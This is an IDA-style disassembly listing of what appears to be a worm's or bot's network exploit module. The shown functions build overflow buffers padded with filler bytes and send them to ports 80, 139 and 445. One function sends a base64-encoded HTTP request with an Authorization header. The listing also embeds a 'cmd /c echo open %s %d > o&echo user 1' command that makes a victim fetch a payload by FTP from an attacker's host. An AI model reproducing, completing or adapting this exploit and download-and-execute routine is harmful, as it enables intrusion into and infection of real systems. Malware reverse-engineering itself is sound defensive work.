; ---------------------------------------------------------------------------


loc_401ACB:				; CODE XREF: sub_401A91+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_40CC40
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_40C820
		add	esp, 18h
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4019F4
		mov	al, 1


loc_401B07:				; CODE XREF: sub_401A91+38j
		pop	edi
		pop	esi
		leave
		retn
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B0B	proc near		; CODE XREF: sub_401B3F+14p
					; sub_401B5C+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40199F
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_401B0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B3F	proc near		; CODE XREF: sub_401BC7+F0p
					; sub_401BC7+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40CBC0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_401B0B
		pop	esi
		retn	4
sub_401B3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B5C	proc near		; CODE XREF: sub_401BA8+Bp
					; sub_401BC7+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401B0B
		retn	8
sub_401B5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B6C	proc near		; CODE XREF: sub_401BA8+16p
					; sub_401BC7+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_401A0D
		test	al, al
		jz	short loc_401BA5
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_41A90F+1)
		call	sub_40199F
		mov	ecx, esi
		call	sub_4019F4
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_401BA5:				; CODE XREF: sub_401B6C+Fj
		pop	esi
		leave
		retn
sub_401B6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BA8	proc near		; CODE XREF: sub_401BC7+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401B5C
		test	al, al
		jz	short loc_401BC3
		mov	ecx, esi
		call	sub_401B6C


loc_401BC3:				; CODE XREF: sub_401BA8+12j
		pop	esi
		retn	8
sub_401BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BC7	proc near		; CODE XREF: sub_4023B8+88p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40195B
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_401F0B
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_401F0B
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40195B
		lea	ecx, [ebp+var_20]
		call	sub_40195B
		lea	ecx, [ebp+var_50]
		call	sub_40195B
		lea	ecx, [ebp+var_18]
		call	sub_40195B
		lea	ecx, [ebp+var_40]
		call	sub_40195B
		lea	ecx, [ebp+var_38]
		call	sub_40195B
		lea	ecx, [ebp+var_28]
		call	sub_40195B
		push	4
		push	offset dword_41A5A4
		lea	ecx, [ebp+var_30]
		call	sub_401B0B
		push	3
		push	offset dword_41A5AC
		lea	ecx, [ebp+var_30]
		call	sub_401B0B
		lea	ecx, [ebp+var_30]
		call	sub_401A91
		lea	ecx, [ebp+var_30]
		call	sub_401B6C
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_401B0B
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_401B0B
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_20]
		call	sub_401A91
		push	offset loc_41A938
		lea	ecx, [ebp+var_50]
		call	sub_401B3F
		lea	ecx, [ebp+var_50]
		call	sub_401A91
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_401965
		lea	ecx, [ebp+var_58]
		call	sub_401A91
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_401BA8
		lea	ecx, [ebp+var_58]
		call	sub_4019F4
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_401B3F
		push	4
		push	offset dword_41A5B0
		lea	ecx, [ebp+var_18]
		call	sub_401B0B
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_401B0B
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_18]
		call	sub_401A91
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_401B5C
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_401B5C
		lea	ecx, [ebp+var_40]
		call	sub_401B6C
		lea	ecx, [ebp+var_18]
		call	sub_4019F4
		lea	ecx, [ebp+var_50]
		call	sub_4019F4
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_401B5C
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_401B5C
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_401B5C
		lea	ecx, [ebp+var_38]
		call	sub_401B6C
		lea	ecx, [ebp+var_20]
		call	sub_4019F4
		lea	ecx, [ebp+var_30]
		call	sub_4019F4
		lea	ecx, [ebp+var_40]
		call	sub_4019F4
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_401B0B
		lea	ecx, [ebp+var_28]
		call	sub_401A91
		push	2
		push	offset dword_41A92C
		lea	ecx, [ebp+var_28]
		call	sub_401B0B
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_401B5C
		lea	ecx, [ebp+var_28]
		call	sub_401B6C
		lea	ecx, [ebp+var_38]
		call	sub_4019F4
		lea	ecx, [ebp+var_10]
		call	sub_40195B
		lea	ecx, [ebp+var_8]
		call	sub_40195B
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_401B5C
		lea	ecx, [ebp+var_10]
		call	sub_401A0D
		lea	ecx, [ebp+var_28]
		call	sub_4019F4
		push	offset dword_41A928
		lea	ecx, [ebp+var_8]
		call	sub_401B3F
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		lea	ecx, [ebp+var_10]
		call	sub_4019F4
		push	offset dword_41A924
		lea	ecx, [ebp+var_10]
		call	sub_401B3F
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_401B5C
		lea	ecx, [ebp+var_10]
		call	sub_401A0D
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		push	offset dword_41A918
		lea	ecx, [ebp+var_8]
		call	sub_401B3F
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		lea	ecx, [ebp+var_10]
		call	sub_4019F4
		push	offset dword_41A914
		lea	ecx, [ebp+var_48]
		call	sub_401B3F
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_401B5C
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		pop	esi


loc_401F0B:				; CODE XREF: sub_401BC7+1Bj
					; sub_401BC7+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F1D	proc near		; CODE XREF: sub_401FE1+A2p
					; sub_401FE1+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4181BC	; select
		cmp	eax, edi
		jnz	short loc_401F84
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_417A78	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_401F88


loc_401F84:				; CODE XREF: sub_401F1D+54j
		xor	eax, eax
		jmp	short loc_401F98
; ---------------------------------------------------------------------------


loc_401F88:				; CODE XREF: sub_401F1D+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_42D890	; recv


loc_401F98:				; CODE XREF: sub_401F1D+69j
		pop	edi
		pop	esi
		leave
		retn
sub_401F1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F9C	proc near		; CODE XREF: sub_401FE1+80p
					; sub_401FE1+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_42D874	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		cmp	eax, 4
		jz	short loc_401FC6
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401FC6:				; CODE XREF: sub_401F9C+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FE1	proc near		; CODE XREF: sub_4020C0+48p
					; sub_4023B8+179p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40200A
		xor	al, al
		jmp	loc_4020BB
; ---------------------------------------------------------------------------


loc_40200A:				; CODE XREF: sub_401FE1+20j
		push	ebx
		push	0
		push	esi
		call	sub_40CC40
		push	2Fh
		push	offset dword_41A640
		push	esi
		call	near ptr sub_40C820
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41A670
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_40C820
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_40C820
		push	6
		add	ebx, edi
		push	offset dword_4242E4
		push	ebx
		call	near ptr sub_40C820
		push	85h
		push	offset dword_41A5B8
		push	[ebp+arg_0]
		call	sub_401F9C
		add	esp, 48h
		test	al, al
		jnz	short loc_402071


loc_40206D:				; CODE XREF: sub_401FE1+B8j
		xor	bl, bl
		jmp	short loc_4020B2
; ---------------------------------------------------------------------------


loc_402071:				; CODE XREF: sub_401FE1+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_401F9C
		add	esp, 1Ch
		test	al, al
		jz	short loc_40206D
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		add	esp, 10h
		mov	bl, 1


loc_4020B2:				; CODE XREF: sub_401FE1+8Ej
		push	esi
		call	sub_40CD81
		pop	ecx
		mov	al, bl


loc_4020BB:				; CODE XREF: sub_401FE1+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C0	proc near		; CODE XREF: sub_4023B8+15Fp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41A680
		push	[ebp+arg_0]
		call	dword_4181B8	; send
		cmp	eax, 48h
		jnz	short loc_4020FB
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_401F1D
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4020FB
		cmp	[ebp+var_20], 82h
		jz	short loc_4020FF


loc_4020FB:				; CODE XREF: sub_4020C0+1Bj
					; sub_4020C0+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4020FF:				; CODE XREF: sub_4020C0+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401FE1
		add	esp, 0Ch
		leave
		retn
sub_4020C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402112	proc near		; CODE XREF: sub_40215E+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_418210
		call	sub_40CF0C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_418208
		fstp	[esp+10h+var_10]
		call	sub_40CDEA
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_40CF0C
		inc	eax
		leave
		retn
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================



sub_40215E	proc near		; CODE XREF: sub_4022FD+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_417BD7
		call	sub_40D3D8
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_402790
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_402112
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4021A0
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40270A


loc_4021A0:				; CODE XREF: sub_40215E+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4022BE
		mov	ebx, [ebp+10h]


loc_4021AF:				; CODE XREF: sub_40215E+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4021BA
		push	3


loc_4021B7:				; CODE XREF: sub_40215E+64j
		pop	ebx
		jmp	short loc_4021CD
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_40215E+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4021C4
		push	2
		jmp	short loc_4021B7
; ---------------------------------------------------------------------------


loc_4021C4:				; CODE XREF: sub_40215E+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4021CD
		xor	ebx, ebx
		inc	ebx


loc_4021CD:				; CODE XREF: sub_40215E+5Aj
					; sub_40215E+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_418218
		fstp	[esp+40h+var_40]
		call	sub_40CF33
		pop	ecx
		pop	ecx
		call	sub_40CF0C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40220C
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40220C:				; CODE XREF: sub_40215E+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40227A
		add	[ebp-18h], eax


loc_40225E:				; CODE XREF: sub_40215E+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_41A6D0[eax]
		push	eax
		push	1
		call	sub_40258B
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40225E


loc_40227A:				; CODE XREF: sub_40215E+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402298
		push	dword ptr [ebp+14h]
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4025E5
		mov	[ebp-18h], edi


loc_402298:				; CODE XREF: sub_40215E+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4022B2
		sub	esi, [ebp-1Ch]


loc_4022A3:				; CODE XREF: sub_40215E+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40258B
		dec	esi
		jnz	short loc_4022A3


loc_4022B2:				; CODE XREF: sub_40215E+140j
		cmp	[ebp+10h], edi
		ja	loc_4021AF
		xor	ebx, ebx
		inc	ebx


loc_4022BE:				; CODE XREF: sub_40215E+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_402790
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40263D
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_402790
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40215E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022FD	proc near		; CODE XREF: sub_4023B8+142p
		mov	eax, offset loc_417BF4
		call	sub_40D3D8
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4242F0
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40215E
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_40CCCF
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402347
		xor	bl, bl
		jmp	short loc_40238B
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_4022FD+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_418220
		cmp	ecx, ebx
		jnz	short loc_402355
		mov	ecx, eax


loc_402355:				; CODE XREF: sub_4022FD+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40235D
		mov	eax, [ebp+18h]


loc_40235D:				; CODE XREF: sub_4022FD+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_40D3F7
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_42D8C4	; send
		cmp	eax, esi
		jz	short loc_402382
		xor	bl, bl
		jmp	short loc_402384
; ---------------------------------------------------------------------------


loc_402382:				; CODE XREF: sub_4022FD+7Fj
		mov	bl, 1


loc_402384:				; CODE XREF: sub_4022FD+83j
		push	edi
		call	sub_40CD81
		pop	ecx


loc_40238B:				; CODE XREF: sub_4022FD+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_402790
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4022FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023B8	proc near		; CODE XREF: sub_40154B+17Cp
					; DATA XREF: .nsp0:off_41A06Co

var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_391		= byte ptr -391h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	[ebp+var_420], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_41F]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_420]
		push	offset sub_41A880
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch
		mov	eax, offset byte_41DF08
		push	eax
		push	eax
		movzx	eax, word ptr dword_42D334
		push	eax
		push	[ebp+arg_0]
		call	sub_4058DC
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_391]
		push	400h
		push	eax
		call	sub_40D3F7
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		push	164h
		lea	eax, [ebp+var_8]
		push	offset sub_41A718
		push	eax
		call	sub_401BC7
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp+var_4], esi
		jnz	short loc_402456
		xor	eax, eax
		jmp	loc_40257E
; ---------------------------------------------------------------------------


loc_402456:				; CODE XREF: sub_4023B8+95j
		mov	[ebp+var_C], esi


loc_402459:				; CODE XREF: sub_4023B8+1A1j
		test	esi, esi
		jnz	loc_40255F
		push	6
		push	1
		push	2
		call	dword_4181B4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402547
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_42D878	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_42D8B4	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_42D824	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40253C
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_402504
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_402790
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_4027C8
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4022FD
		add	esp, 1Ch
		jmp	short loc_402539
; ---------------------------------------------------------------------------


loc_402504:				; CODE XREF: sub_4023B8+10Aj
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40251E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4020C0
		jmp	short loc_402536
; ---------------------------------------------------------------------------


loc_40251E:				; CODE XREF: sub_4023B8+156j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40253C
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_401FE1


loc_402536:				; CODE XREF: sub_4023B8+164j
		add	esp, 0Ch


loc_402539:				; CODE XREF: sub_4023B8+14Aj
		movzx	esi, al


loc_40253C:				; CODE XREF: sub_4023B8+FDj
					; sub_4023B8+170j
		push	ebx
		call	dword_42D90C	; closesocket
		test	esi, esi
		jnz	short loc_402552


loc_402547:				; CODE XREF: sub_4023B8+BAj
		push	3E8h
		call	dword_418040	; Sleep


loc_402552:				; CODE XREF: sub_4023B8+18Dj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402459


loc_40255F:				; CODE XREF: sub_4023B8+A3j
		lea	ecx, [ebp+var_8]
		call	sub_4019F4
		test	esi, esi
		jz	short loc_40257C
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		lea	eax, dword_41A070[eax]
		inc	dword ptr [eax]


loc_40257C:				; CODE XREF: sub_4023B8+1B1j
		mov	eax, esi


loc_40257E:				; CODE XREF: sub_4023B8+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417BB8


loc_402583:				; CODE XREF: sub_417BB8+3j
					; .nsp0:00417BD1j ...
		push	1
		call	sub_402790
		retn
; END OF FUNCTION CHUNK	FOR sub_417BB8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40258B	proc near		; CODE XREF: sub_40215E+111p
					; sub_40215E+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
